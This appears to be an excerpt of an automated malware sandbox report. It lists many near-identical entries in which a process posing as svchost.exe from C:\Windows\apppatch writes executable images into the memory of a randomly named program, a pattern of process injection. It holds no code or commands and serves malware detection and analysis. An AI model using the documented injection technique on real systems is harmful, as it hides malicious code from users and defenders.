Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1202000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1592000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1442000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FF2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10D2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F62000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: B92000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D62000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1322000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 602000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A32000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1002000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F22000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 862000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9D2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 872000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D72000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 812000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8D2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AD2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1212000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1172000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DB2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1092000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A02000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 782000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 922000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 862000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 842000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC2000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11E0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11E1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11E2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1232000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1032000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9C0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9C1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9C2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A12000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2EA0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2EA1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2EA2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2EF2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AF0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AF1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AF2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2B42000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1222000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AB0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AB1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AB2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2B02000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 24F0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 24F1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 24F2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2542000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2E80000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2E81000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2E82000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2ED2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 25F0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 25F1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 25F2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2642000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2670000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2671000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2672000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 26C2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1550000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1551000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1552000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15A2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CD0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CD1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CD2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D22000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1540000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1541000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1542000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1592000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1070000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1071000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1072000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10C2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1470000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1471000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1472000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 14C2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1220000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1221000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1222000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1272000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9B0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9B1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9B2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A02000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 600000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 601000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 602000	Jump to behavior
